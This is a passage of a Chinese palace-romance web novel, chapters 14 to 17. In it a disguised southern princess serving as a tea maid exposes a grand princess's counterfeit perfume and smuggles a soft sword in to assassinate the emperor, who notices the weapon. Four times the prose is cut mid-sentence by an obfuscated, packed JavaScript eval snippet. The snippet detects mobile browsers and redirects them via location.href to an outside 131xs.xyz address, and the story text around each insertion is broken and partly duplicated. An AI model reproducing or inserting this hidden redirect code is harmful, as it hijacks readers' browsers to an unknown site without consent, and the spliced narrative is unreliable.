但明熙却能明显感觉,素萍待她亲近了许多。 甚至在这日午后特意问她,“那茶之事原本影响不到你,就算娘娘怪罪,也是我担着,你为何要帮我?不恨我之前叫你吃的那些苦么?” 明熙一笑,道,“姑姑也不过依照宫规行事,小的为什么要恨您?倘若连您这关都过不了,将来在太后面前出了岔子,吃的苦头必定更大。” 素萍点了点头,一脸恳切的与她道,“第一次见你,我就晓得你是聪明的,说句我不该说的,太后娘娘面冷心软,过阵子心结自然就解了,你千万不要灰心。” 灰心? 明熙只道害死哥哥的仇人一天不死,她又岂会灰心? 但面上还是向素萍道了声谢,又顺口问道,“眼看着姑姑就要出宫了,不知可安排好了出宫后的事?” 未等素萍回答,却见一旁的小宫女青黛笑道,“太后娘娘早已经为姑姑挑好了夫婿,是光禄寺的宣义郎,姑姑出宫那天,也就是出阁的大喜日子。” 哦? 明熙倒是好奇起来,又问道,“不知是什么样的人?模样可好看?” 素萍道,“他与我是同乡,年纪也差不多,就是曾成过亲,原配夫人难产走了,留下三岁幼子,无人照拂。” “如此姑姑岂不是要去做继母?” 明熙又忍不住道,“姑姑可愿意?” 却见素萍笑道,“我这样的年纪,又能寻到什么样的郎君?总归日后以真心相待,总会有好的结果吧。毕竟是太后娘娘为我挑的人,自是不会错的。” 青黛又在旁笑道,“那位大人模样极好,也很有才学,原配夫人去后却一直未娶,可见是位专情的人。” 模样极好? 明熙不由暗想,她至今见过这北周最好看的男人,便是那狗贼萧元彻,便是那生了双桃花眼的萧元任都要逊他一筹,不知那位宣义郎可有他好看? 素萍却害羞起来,红着脸道,“快别说了,一会儿娘娘要饮荷叶茶,快些准备吧!” 三人便停了话题,准备起来。 少倾,荷叶茶煮好,素萍送去了正殿中。 “内廷监已经处置了内务局相关人手共五人,追回近千两白银。太府寺也已经派人重新去歙州采买新茶,月余便可到上京。” 恰逢胡尚宫正在禀报劣茶一事的处理结果,太后颔了颔首,顺势对送茶的素萍道,“今次倒多亏了你,否则这千两的白银,全都要被那些鼠辈贪了去。” 素萍却忙垂首道,“奴婢不敢欺瞒娘娘,其实今次之事,是念贞最先发现的。” 语罢又将那日的过程如实禀报了一遍。 太后听后顿了顿,又问,“这两日那丫头在茶房如何?” 素萍道,“念贞心细又沉稳,也十分聪明,许多事同她说一次便能记住,也很守规矩。” 太后没再多言,只扬了扬手道,“退下吧。” 素萍应是,低头出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486561|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正殿。 太后慢悠悠的饮了口荷叶茶,才又道,“过几日就是上巳节,今年怎么安排?” 胡尚宫忙道,“奴婢正要请示娘娘,太常寺才送了消息,说上林苑的楼台已经建好,花草养的都不错,这阵子樱花与桃花开的也好,不知娘娘可要移驾前去踏青?” 太后颔了颔首,“上林苑地方大,倒是个踏青的好去处,可曾问过陛下的意思?” 胡尚宫又道,“听太常寺说已经去请示过,只是陛下说眼下正值春闱,政务繁忙,暂且脱不开身,只怕不能陪娘娘了。” 话音落下,就见太后的神色冷了下来,哼道,“是真忙,还是与哀家怄气?好几天不过来就罢了,上巳节也不打算露面,还不好好用膳,倘若熬坏了身子,可怎么得了!” 胡尚宫只能垂首,不敢多言。 却见太后又道,“罢了,咱们玩咱们的,叫太仆寺准备车马便是。” 胡尚宫赶紧应是,又问道,“不知可要向各府下帖?” 太后道,“叫上各位王妃,大长公主以及承恩公府便是,不过一日,还要来回,人多了反而麻烦。” 说着又补充道,“给温家下个帖子,舒月喜欢山水,未准能多做几张画出来。” 胡尚宫赶忙应是。 告退前,又试着问道,“那,可要叫念贞随行?” 太后顿了顿,道,“一并带过去吧。” 留在这里,那犟种不知又要做出什么叫人生气的事。 ………… 暮色四合,殿中已经燃起了灯火。 高寿一瘸一拐来到御案前,向正在批阅卷宗的君王禀报,“陛下,太后娘娘三日后要移驾上林苑赏春,已吩咐太仆寺预备车马,念贞姑娘也一并跟着去。” 嗯? 萧元彻搁下手中朱笔,母后终于肯带她出去了? “知道了。” 他道,“叫孙太医明日来一趟。” 却见高寿一下紧张起来,“陛下可是哪里不舒服?奴才还是现在就去请太医吧!” 萧元彻皱眉道,“谁说朕不舒服?明日把他叫来,朕自有安排。” 高寿愣了愣,这才明白了些,忙应了声是,又要一瘸一拐的往外走。 萧元彻瞥了他一眼,又开口道,“那日太后打得狠吗?” 不问还好,这一问,高寿简直想哭。 谁能知道,此番太后跟陛下为了许姑娘斗法,倒霉的竟是他!三大板子落在了他身上,虽说数量也不算多,但他这身细皮嫩肉哪儿能受得了? 也幸亏内廷监掌事跟他有些交情,没叫人下狠手。 可他还是疼啊! 当然,这些委屈只能憋在心里,嘴上还是得道,“奴才不疼,陛下无须担心奴才。” 却见君王道,“此番委屈你了,回去歇着吧,明日批你一日假,叫人去御药房取一罐上好的金疮药用着。” 高寿险些流下热泪,忙跪地道,“谢陛下隆恩,奴才万死不辞。” 嘿,不就挨了三下板子么,只要陛下能抱得美人归,他三十下也挨得! 15.第 15 章 转眼便是三日后,一大早起,明熙随众人坐上马车去往上林苑。 上林苑位于上京城郊,出了宫门,车马一路穿过城中最热闹的街道。 难得出一回宫,马车里的众人无不向外张望,明熙也忍不住向车窗外投去目光。 到上京也有半年多了,这还是她头回离开那座宫廷。 但见外头街道宽阔,房舍整洁,商铺亦是鳞次栉比,偶而经过热闹的集市,小贩的叫卖声与各种食物的香气一并涌入车中,正是一派烟火气象。 就仿佛回到了从前的建业。 她虽生在宫廷,却一直向往热闹的集市,十几岁后便时常溜出宫外游玩,父皇沉迷修道无暇他顾,唯有哥哥一面无奈替她遮掩,又派人手保护她。 暮春的建业,暖风熏人,游人闲散,她曾被路边才出锅的馄饨烫过舌,也曾被酒肆中的梅子酒醉红了脸。 却不知经历一番战乱,她的故城已经变成什么模样…… 一路赏景神游,很快便到了地方。 明熙随众人下了马车,只见一片广阔的园林,山湖交映,溪水环绕,垂柳桃花半掩亭台,竟然有几分南国的味道。 只是今日并非来赏景,是来伺候人的,眼见太后也下了马车,要登上湖边画舫,她也忙跟了上去。 其余宾客也都到来,待向太后行过礼后,也各自入座,画舫便在湖中划动起来。 今日素萍留守宫中,只明熙与青黛跟了来,此时二人在船尾支起茶炉,准备为众人泡茶,偶然朝外望去,但见湖岸杨柳依依,映衬漫山桃花,却是北国春天独有的美。 银炭丝丝燃烧,很快便将铜壶中的泉水煮沸,明熙将茶碗一一热好,沏好茶汤后,为众人上茶。 说起来,今日备的白茶,还是前几日那安王萧元任亲自带回来的,她事先查看过,品质还不错。 哪知待众人品尝过后,却见大长公主一脸萧依澜嫌弃道,“莫非今日水未烧开?这茶味道怎的这般奇怪?” 明熙忙道,“启禀殿下,这是内务局新入的建安银针,味道较从前的瓜片略有不同。” 淑太妃颔了颔首,“这茶很是适口,细品之下,还有股淡淡荷香。” ——自己儿子办的差事,当然得夸。 纪王妃也道,“早听过建安产茶,今日一尝果然不同,不知这茶有什么益处?” 明熙答,“此茶可润燥降火,适宜春日饮用。” 哪知大长公主立时搁下茶杯道,“那我可喝不成,我近来有些受凉,饮不得寒凉之物。” 明熙,“……” 好一个北周的大长公主,今日这满船的人,就她难伺候。 这若是她的姑母,高低得怼上几句。 正腹诽间,却见对方又将目光投到了她身上,一番打量后道,“你不是上回那个种花的吗?怎么又沏上茶了?” 不必明熙回答,随侍的胡尚宫忙道,“殿下有所不知,寿安宫中原本沏茶的人要出宫了,太后见念真心细,便调她去茶房当差。” 却见那箫依澜又对太后道,“娘娘真是心宽,论说喝茶可是顶要紧的事,便是换人也该换个做细活的才好。” 明熙,“???” 呵,这婆娘居然还嫌她做过粗活?! “她到茶房有些日子了,做的还不错,否则哀家今日又岂会带她出来?” 太后开口道,“给大长公主换祁红吧。” 明熙便应是,另取了一只茶碗沏了新茶,送去了大长公主手边。 对方尝了一口,总算没再说什么,而是又将目光投向了不远处的温舒月。 ——今日的宾客几乎都是与太后年纪差不多的长辈,除过年纪还小的公主箫玉容,便只有温舒月一个年轻姑娘,的确很是引人目光。 “瞧这湖光山色如此之妙,不知温姑娘可能做出首诗?” 萧依澜又笑道。 突然被点了名温大姑娘只得仓促起身,“小女才疏,不敢在贵人们眼前献丑。” 然而大长公主却不依不饶道,“你诗画双绝,咱们可都是领教过的,此时就不必过谦了,趁着这好景好茶,就快作一首叫我们都欣赏一番吧。” 温姑娘只好应道,“如此,只怕要叫贵人们见笑了。且容小女想想。” 见此情景,一旁的明熙忽然有所顿悟—— 她方才就觉得奇怪,今日好歹是太后做东,但凡头脑没病的,都应奉承着说些好话才是,这大长公主光喝个茶便如此挑拣,莫非心里有什么不痛快的? 现在看来,叫她不痛快的,大抵正是这位温姑娘。 ——萧依澜想在后宫放进自己的人,然上回那箫狗贼却没给她面子,且当时满园的佳丽,太后今日却只请了这么一位,意图已经十分明显。 如她这样的性子,哪能受得了? 此时温姑娘若做不出诗丢一丢面子,或许能叫她痛快些。 只可惜,温舒月并未如她的愿,稍稍斟酌之后,便开口吟道,“湖山相映处,潋滟入云空。飞鸟栖难定,一色有无中。” “匆忙拙作,姑且取名《上林山色》吧,教各位贵人们见笑了。” 话音落下,宾客们无不叫好—— “果真才女,这诗真是好啊!” “是啊!若无文墨在心,岂能这么短的时间久做出这样好的诗来!真是令人佩服!” “此处可有纸笔?我要将温姐姐的诗写下来,待明日拿去给太傅看!”十三岁的小公主玉容满脸雀跃。 碧书忙应道,“有的,奴婢这就去取。” 说着便拿来了笔墨纸张。 小姑娘便挽挽袖子写了起来。 见此情景,众人又来了兴致,纪王妃道,“上回花朝那副花神像还叫人至今难忘,不知温姑娘今日对着这好山好水,可否再做一幅画,叫我们也欣赏欣赏。” 话音落下,才写完诗的玉容又忙道,“温姐姐快教教我,我正想跟你学呢!”说着也不容温舒月拒绝,便将她拉到了近前。 温舒月只得又教着她一同画了起来。 明熙也在旁瞧,只见那位温姑娘确实很有功底,寥寥几笔,山水已经初现神韵,又引着玉容在染枝点翠,很快,就将满山春花描摹了出来。 不多时,一副上林春华图已经跃然纸上。 众人无不称赞,太后目中露出满意,唯有大长公主脸色越发不爽。 忽然间,却听其哎呀了一声,道,“我的香囊,怎成这般了?” 众人忙瞧去,却见其正举着一只香囊,费了许多眼力才在那香囊上寻到一处几乎看不出来的墨迹。 “这可是我前几日新得的,如此可怎么好!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489199|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 边说还边满是嫌恶的朝玉容及温舒月瞥了一眼,言下之意,这墨迹是她们二人弄得。 温月舒只好道,“想来是方才画画时提笔所致,实在罪过,还请殿下见谅。” 玉容也跟着道,“我们不是有意的,姑母请不要生气了吧。” 见此情景,太后也开口道,“许是湖上风大,提笔时被风吹的,她们本也不是有意的。” “是啊!” 纪王妃也在旁劝道,“姐姐不必着急,回去叫人再做一个便是。” 哪知大长公主却道,“这香囊当然好做,可难得的是里头的香料,是由波斯的沙红姬,天竺国的凌波,大食国的紫珠等许多种名贵花瓣制成,只此一份,如今沾上了墨臭,让我上哪儿再寻去。” 说着还将香囊打开,给众人瞧。 明熙险些要笑出声来,什么沙红姬?那香味一闻便知,是益州那边常见的四季红罢了。 只可惜旁人不知,此时听大长公主这样说,竟都被唬住了的模样。 而被为难的温舒月与玉容,已经局促起来。 再瞧瞧太后,面上已经一片阴郁。 这般情景,明熙忽然灵机一动—— 若她此时能化解这场僵局,或许就能解了太后的对她的“心结”,从而能叫那萧狗贼见她了。 一片寂静中,却听明熙开口道,“请恕奴婢斗胆多言,方才听殿下说这香囊中有凌波花,据奴婢所知,凌波的花粉有轻微毒性,殿下方才说受了寒凉,未准正与此有关。” 这叫众人都是一愣。 大长公主却立时否认道,“你在胡说什么?本宫明明好好的……咳咳……” 大概太过气急,话还未说完,竟咳嗽了起来。 纪王妃忙道,“姐姐怎么咳嗽了?怕不是真的中了毒?不要紧吧?” 承恩公夫人也道,“打从方才便觉得殿下面色不太好,莫不是果真不舒服?” 太后也跟着开了口,“这可不是小事,今日张太医不是跟着来了,快叫他来给大长公主瞧瞧。” 碧书应是,忙去将张太医请到了船上,然大长公主却一脸抗拒道,“你们休要听那贱婢浑说,我明明好好的!” 说着又看向明熙道,“这个贱婢胡言乱语的咒我,该掌嘴才是!” 太后却道,“她也是好心提醒罢了,且张太医来都来了,就给你诊诊脉吧。”说着便示意张太医上前。 大长公主无法,只得伸出手叫张太医号脉,脸上依旧不以为意的模样。 哪知没过多久,却见张太医皱眉道,“殿下这脉象确实有些不服之兆。不知可否叫微臣瞧瞧香囊?” 大长公主一愣,犹疑的将香囊递给了对方。 张太医将其中香料翻检了一遍,立时拿出一枚干花道,“这四季红乃是活血之物,殿□□质虚寒,更要避免接触此物……” “什么四季红?” 大长公主忙打断道,“这分明是波斯国的沙红姬!万金难买一两的,你怕不是看错了!” 张太医却十分笃定,“微臣自幼习医,如今已是天命之年,这四季红还是不会认错的,此物活血调经,有疏肝解郁之功效,常用于气滞血瘀,月事不调者,但殿下您的体质恰恰相反,可是万万用不得的。” 话音落下,大长公主脸色很是难看。 16.第 16 章 价值万金的波斯国名花,竟然是宫中常见的四季红?这着实要叫人笑掉大牙。 所幸今日宾客们都有教养,闻听张太医此言,并无人多说什么。 只有太后与张太医道,“依你看,大长公主眼下该如何调理才好?赶紧给写个方子。” 张太医应是,便提笔写了张药方,奉给大长公主道,“今日微臣所带药物不全,殿下可将此方带回府中叫人抓药,先喝上五日,再容微臣替您请脉。” 众目睽睽之下,大长公主只得叫婢女将药方接了下来,并向张太医道了声谢,“早听说张大人医术高明,若能将本宫调理好,本宫必重谢。” 张太医忙谦谨几句。 却见大长公主又向明熙投去了目光,道,“还要谢谢你!若不是你,我还不知道自己病了呢!” 明熙假意听不出对方话中的阴阳怪气,只垂首道,“奴婢不敢,能为殿下解忧,乃奴婢之荣幸。” 萧应澜还想说什么,太后却开口吩咐碧书,“快晌午了吧,叫船往回划吧,准备摆膳。” 碧书应是,便叫船夫调头,众宾客随即又聊起其他事,将这茬盖了过去。 不多时,画舫靠岸,众人下了船,登上了一旁的揽胜阁,阁中早已布好酒菜,只待众人入了座,午宴便开始了。 明熙不必侍宴,奉过宴前茶后,便在一旁的偏房里守着茶炉歇息。 “念贞姐,你怎么晓得那香囊有毒的?方才大长公主提的那些花听起来就甚是贵重,宫中都不曾见过。” 小丫头青黛早已攒了一肚子问题,趁此时身旁没有旁人,便赶紧低声问她。 明熙只道,“我们家是种花的,从前得过一本花谱,我恰巧看过,便记住了。” 这当然只是借口,从前她们南国强盛,那些番邦相争着进贡,如凌波,沙红姬这种名贵花木,也都只是她公主府里的迎宾花罢了,她可是再熟悉不过的。 却听青黛又道,“所幸你方才开口,否则依大长公主的性子,不知要闹成什么样了。” 明熙只道,“殿下毕竟是长辈,玉容公主与温姑娘又是不小心的,应不会如何吧。” “那可说不准,” 青黛又压低声道,“大长公主可是出了名的难伺候,听说从前有回宫宴,淑太妃的巴儿狗不小心踩到了她的新裙,她登时就大发雷霆,淑太妃要给她赔一件新的都不成,太后也在旁说和,她也不肯给面子,最后告去先帝面前,逼得淑太妃将狗打死了,才消了她的气。” 什么? 明熙不由皱眉—— 淑太妃好歹是妃位,又有惠王这个皇子,竟然还比不过一个大长公主权势大? 她试着道,“看来,先帝与大长公主真是姐弟情深。” 却见青黛点了点头,“应该是吧,听说当年先帝即位时,大长公主也出了不少力,总之先帝一向很向着这位姐姐,连太后娘娘都需忌惮几分。” 呵,明熙不由默默嗤笑。 ——就凭北周先帝那偏心眼的行径,料想那姐弟俩的品性也就那样吧。 不过今日听青黛这样说,淑太妃与大长公主也有陈年旧恨,怪不得方才大长公主说银针不好的时候,淑太妃脸色很难看…… “念贞……” 二人才说完,却见门外传来太后身边大宫女琴韵的声音。 明熙只当太后要饮茶,赶忙应声出去,哪知却发现找她的并非太后,却是那位深得太后欢心的温姑娘。 此时,这位温姑娘就站在琴韵身后,眼见明熙出来,琴韵留下一句,“温姑娘有话要同你说。”便原回了厅中侍宴。 明熙便看向温舒月,没等张口相问,却见对方先跟她行起了礼。 这叫她一愣,忙伸手扶了一把,道,“使不得,姑娘这是要做什么?” 却见温舒月道,“方才船上之事多谢姑娘相助。姑娘侠义心肠令人敬佩。若换做是我,都未必敢开口。” 明熙倒是一愣。 方才听了大长公主过往的战绩,这北周的寻常人确实轻易不敢招惹。只不过她本就未打算在这宫中长待,才无所谓。 不过,她本也不是特意为了对方出面,眼下这个谢礼承受的未免有些惭愧。 “姑娘客气了,” 她忙道,“奴婢也只是将知道的说出来,唯恐耽误了大长公主的身体而已,姑娘不必在意。” 哪知温舒月又解下了身上的香囊,奉向她道,“这是我昨日亲手缝的香囊,内里并无名贵香料,只是一些驱虫的草药罢了,姑且代表一份心意,若姑娘不嫌弃,还请收下。” 这又叫明熙一愣。 说实话,她并不讨厌对方,反而还有些喜欢,虽只见过两回,这姑娘认真稳重,与她从前身边的那些表姐妹全然不同。 若她并非南齐公主,与这北周无甚冤仇,一定会欣然接下,但眼下她满心都是如何刺杀这位姑娘的“未来夫君”,只怕不太好接。 她便开口,“姑娘无需如此……” 然话未说完,却见温舒月回头看了眼席间,又急忙与她道,“玉容公主在找我,不便久留,改日有机会再向姑娘好好道谢。” 说着便将荷包塞到她手中,提裙离开了。 明熙只好握住那只香囊回了偏殿。 罢,她还是尽快动手,莫叫这样的好姑娘当了寡妇才是。 …… 午宴持续了约一个时辰,而后又有乐舞及说书,待到结束,已是日头西斜之际。 众宾客都尽了兴,眼见太后起驾,也都相跟着返回了城中。 车马徐行,上林苑渐渐落在了身后。 太后斜倚坐榻,道,“晌午吃饭时,舒月似乎离开了一会儿,不是身体不舒服吧?” 一旁伺候的王嬷嬷忙道,“娘娘放心,奴婢听琴韵说了,那时温姑娘是去向念贞道谢了。” “真是个知礼数的好孩子。” 太后颔了颔首,又道,“话说回来,今日那丫头倒也有些叫人刮目。” 不必说,“那丫头”指的自然是明熙。 王嬷嬷忙又附和,“是啊,若不是有她出面说起那香料有毒,今日大抵要麻烦些…… 话说回来,依大长公主的性子,日后不知是否会为难张太医跟念贞?” 却见太后哼笑一声,“张太医是哀家的太医,还轮不到她来为难。至于念贞,人在哀家眼前,她便是想为难,也得先插得进来手再说。还当如今是从前么?” 王嬷嬷忙跟着点头。 是啊,今时不同往日,那位偏心眼的先帝早已经驾崩了。 眼见太后合上了眼,她忙取来薄毯,轻轻为其盖在了身上。 车马徐行,待到达宫中,已是暮色四合之际。 在车上寐过一阵,太后精神尚算好,换过衣裳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493263|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,又见了前来问安的乾明宫总管高寿。 经过三日歇息,高总管的腿已好了许多,走起路来已经基本看不出瘸了…… “恭迎太后娘娘回宫,陛下正在听几位大人禀报春闱之事,暂时脱不开身,特遣奴才前来问候娘娘。” 太后嗯了一声,“陛下有心了,今日宫中可好?” 却见高寿有些迟疑。 太后立时皱眉,“可是出了什么事? 高寿嗫喏起来,“没有,陛下……今日一切都好。” 太后却将眉头皱的更紧,“还不快说实话,是那日挨得板子不够多吗!” 高寿一个哆嗦,这才忙道,“奴才不敢,实则是陛下不让奴才跟您说……陛下午后龙体有些不适,宣了太医……” 什么? 太后已是满脸紧张。 ——她自己的儿子自己知道,若不是到了忍不了的地步,他可不会轻易宣太医! “陛下究竟是怎么了?太医是如何说的?还不快给哀家如实禀报!” “娘娘放心,” 高寿忙又道,“太医看过后只说陛下是“食寡以至乏力”,其余并无甚大碍,多用膳,好好歇息便可。太医走后,陛下喝了一碗粥,已经好多了。” 太后一顿,一时竟不知说什么了。 这个犟种,分明是拿自己的身子跟她这个当娘的置气! “奴才无用,还请娘娘降罪!” 却见高寿又嗑起头来,眼含泪光道,“这些日子以来,任奴才怎么劝,陛下就是不肯多用一口,眼瞅着人都瘦了一圈了。眼下奴才也是无法了,只能冒死前来求娘娘想想办法。” “哀家有什么办法?” 太后哼了一声,“还不快去叫御膳房备些宵夜给陛下送去,就说哀家的意思,必须要吃。” “奴才遵命。” 高寿急忙从地上爬起,逃似的出了殿门。 啧,还好躲过了一顿板子。 殿中清静下来,王嬷嬷动了动唇,想说些什么,却见太后先叹了口气—— “罢了,你去趟典膳司,叫他们做上一碗鸡汤馄饨,叫那个念贞给送过去。” 王嬷嬷忙应是。 不多时,才换好衣裳的明熙便收到了王嬷嬷的吩咐。 “这是才做好的鸡汤馄饨,太后特命你给陛下送去。” 什么? 太后叫她去给箫狗贼送饭? 就现在? 明熙着实有些意外。 太后的心结解得竟如此之快么? 当然,管他快不快,这可是难得的好机会。 她忙应了声是,又在心间快速思忖—— 上回见面时,那箫贼摸了她的手,连带着太后将她禁在了茶房。谁知这次去对方又会干什么,而太后又会如何处置她? 所以眼下的机会绝无仅有,不可错过。 她立时又对王嬷嬷道,“奴婢方才沏茶时不小心湿了衣袖,唯恐污了圣人眼目,不知嬷嬷可否容奴婢去换身衣裳?” 王嬷嬷颔首,“快些去吧,莫要耽搁。” 明熙应是,便快速回了值房。 ——虽则如今她住的还是五人的值房,但眼下未到就寝时间,房中并无他人。她将门抵住,快速取出软剑,又小心缠在腰间,理了理才换好的衣裙,而后出去,从王嬷嬷手中提上食盒,出了寿安宫的门。 17.第 17 章 日头落了山,宫中已是华灯初上。 微凉的夜风吹在脸上,叫明熙的头脑分外清醒。 等会但有时机,她一定要出剑。 虽然那萧狗贼口口声声说自己出兵并不为吞并她们南国的领土,但有朝一日,他必定还是会把她年幼的侄儿赶尽杀绝。 那可是哥哥留在世间唯一的骨血。 更何况,她憨厚的哥哥又何其无辜? 想当年那萧狗贼在建业时,哥哥曾特意厚待于他,他却派细作毒死哥哥,还要行刺侄儿! 所以今日定要替哥哥报仇。 尽管她这一去,大概不会再活着出来。 眼看着,那乾明宫已然出现在了面前,明熙加快脚步走上前去。 正准备向守门的侍卫禀报,却见上回花朝时,去御花园找她的小太监从门中瞧见了她,立时迎出来道,“念贞姑娘怎么来了?” 明熙道,“奉太后之命,来给陛下送膳。” “请您稍后,小的这就去禀报。” 小太监匆忙跑去通传,很快,却见那胖乎乎的高宦官从里头出了来,带着一脸的惊喜道,“姑娘且随咱家前来,陛下正在等您呢!” 明熙暗自挑眉,萧狗贼正在等她? 很好,她等的也正是这一刻。 便应了声是,跟着高寿往里走。 天色虽暗,乾明宫中却是灯火辉耀。 穿过游廊,登上台阶,高寿将她领到了正殿的两扇门前,向内禀报道,“陛下,许姑娘到了。” 话音落下,门中似有一顿,而后立时道了一声,“进。” 浑厚又透着清冽,的确是那人的声音。 紧接着,却见殿门打开,有几个小太监捧着龙袍由内而出,看样子,那人刚刚正在更衣。 明熙脑间浮现上回那人张手要抱她的情景。 不过无须担心,今日她有软剑在身,该担心的可不是她。 “请姑娘进去吧。” 眼见高寿向她发话,明熙便点了点头,提着食盒迈进了殿中。 地砖光洁,借着着明亮的灯火,映出她的身影。 鼻尖传来丝丝沉水香,明熙稍稍环顾,只见殿中有一屏风,然没等她仔细打量,却见那人已经从脚步匆匆的从屏风后出来,果然才刚换了衣裳,外袍还未系好,前襟敞开,露出一截白皙脖颈,愈发凸显硬朗线条。 当然,这并不是重点,要紧的是,此时殿中除过她与这狗贼,便再无他人。 且高寿还在外将殿门关了起来。 真是天助她也! “阿真,” 眼见那人几步走到了她近前,依旧用极为熟稔的语气道,“你来了?” 就仿佛料到她会来一样。 明熙提着食盒道,“奴婢奉太后娘娘之命为陛下送膳。” 那人又忙道,“这里没有别人,不必如此行礼。说着又问她,“这些天过得可还好?手还疼吗?” 竟还要拉她的手来查看。 明熙下意识躲了一下,道,“太后娘娘叫膳房准备了陛下最爱吃的鸡汤馄饨,请陛下趁热用。” ——手上提着食盒实在太不方便,得先腾出手来再说。 却见那人哦了一声,竟直接从她手中拿过了食盒,道,“我知道你还在生我的气,也罢,索性我们便趁今日把误会解开。” 他要把什么误会解开,明熙并不晓得,她只知道眼下那狗贼一手提着食盒,且离她空前之近,正是最好的动手时机。 趁着萧元彻要往一旁的桌上放食盒之际,明熙便要拉动腰间机关,拔出软剑。 哪知正在此时,那人脖间挂着的一个物件忽然涌入她的视线之中。 ——那是块玉佩,一条鲤鱼仰首而游,口中吐出一珠,鱼的周身缠绕如意莲花纹,看上去很是精致。 只是莲花纹的首尾,及鲤鱼的鱼腹处却有着一道参差的缺口,看样子,是缺失了另一半。 而看清这玉佩的瞬间,她的脑中突然又出现了一个画面—— 她与一男子痴,缠,交,织,而对方敞开的前襟上露出了一枚与此几乎一模一样的玉佩, 只不过,那枚玉佩却是由完整的两条鱼构成…… 这是怎么回事? 明熙一怔,紧接着,脑间又忽然传来一阵剧烈头疼,视线也变得模糊起来,叫她控制不住的趔趄一下,就要往后倒去。 “阿真!” 耳边忽然响起一个着急的声音,紧接着又有一双手揽过她的腰间,将她抱在了怀中。 不必问,自是萧元彻。 而多亏他这一抱,叫明熙没有重重摔在地上,但就在抱住她的瞬间,萧元彻却愣住了。 她的腰…… “奴婢没事。” 如同触电一般,明熙立时强撑着从他怀中起了身,努力眨了几下眼后,视线才勉强恢复。 糟糕,她怎么能在此时头痛!!! 错失了如此良机不说,可千万别被他发现腰间机关! 所幸一切正常。 那人只是关问她道,“你怎么了?可是不舒服?朕这就传太医来。” “奴婢没事。” 明熙强撑着不稳的身体及模糊的双目道,“只是方才没有站稳,惊到了陛下,是奴婢该死。” 而大约是听见了萧元彻方才唤她的声音,话音才落,又听门外响起高寿的声音,“陛下?可是出了什么事?” 萧元彻看了看她,向门外道了声,“无事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504749|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 门外应了声是,又安静下来。 然明熙悄悄攥拳,却发现手中竟没有什么力气。 看来今日机会已然浪费了! 如此,再待下去已经没什么用处,且还怕萧狗贼又会对她做什么,她忙道,“太后挂念陛下龙体,还请陛下按时用膳,奴婢告退。” 又勉强行了礼,急忙退出了房中。 …… 出了乾明宫,夜又黑了一重。 明熙仍没有什么力气,强撑着走到御花园找了块石头歇了半晌,方才渐渐恢复了些。 心间有些恨,明明那么好的机会,她为何偏在那时头疼! 却也更加奇怪,方才脑间的画面又是怎么回事??? ——虽则她们南国民风开放,她许多堂姐妹私下都养着面首,但她自认洁身自好,从未与任何男子亲近过。 ……可又为何一连两次脑间出现那样的画面? 但她分明没有半分记忆! 怎么回事,难道是她的记忆出了什么问题? 可那个男子又是谁?!! 还有,萧元彻的身上为什么会有那般相似的玉佩…… …… 就在御花园中的明熙百思不得其解之际,独在寝殿的萧元彻也正眉头紧敛。 她带了软剑。 没错,方才揽过她腰的瞬间,他已经感觉到了。 ——那本是她唯一的武器,由南朝道人为她特制而成,极软而薄,如若腰带一般,轻易不会被发现。 若不是那一夜,他曾亲手为她解下衣裙……方才他也发现不了。 可为何今日她要带上此物? 她如今就住在寿安宫中,乃是全天下最安全的地方,她是要提防何人? 且她还与其他人一同住在值房,随身佩戴此物,就不怕被旁人发现? ……或者,是她方才要来此特意带上的? 她并非为了防身,而是要…… 杀他? 为什么?!! 为何会恨他到如此之地步? 在建业的那些日子,那个夜晚,她明明亲口在他耳边说过喜欢他…… 难道她都忘了?!! 忘了…… 萧元彻忽然又是一怔—— 对。 难怪每每单独相处,她还是一副与他十分生疏的样子,与从前判若两人。 若非忘了他,她又岂会冒这样大的险来到他的身边来行刺? …… 思及此,他忙向门外唤了声,“来人。” 就见高寿立时到了跟前,应道,“陛下。” 萧元彻道,“内府局有个身形矮瘦的人,将他带到朕面前来,切忌惊动他人。” 18.第 18 章 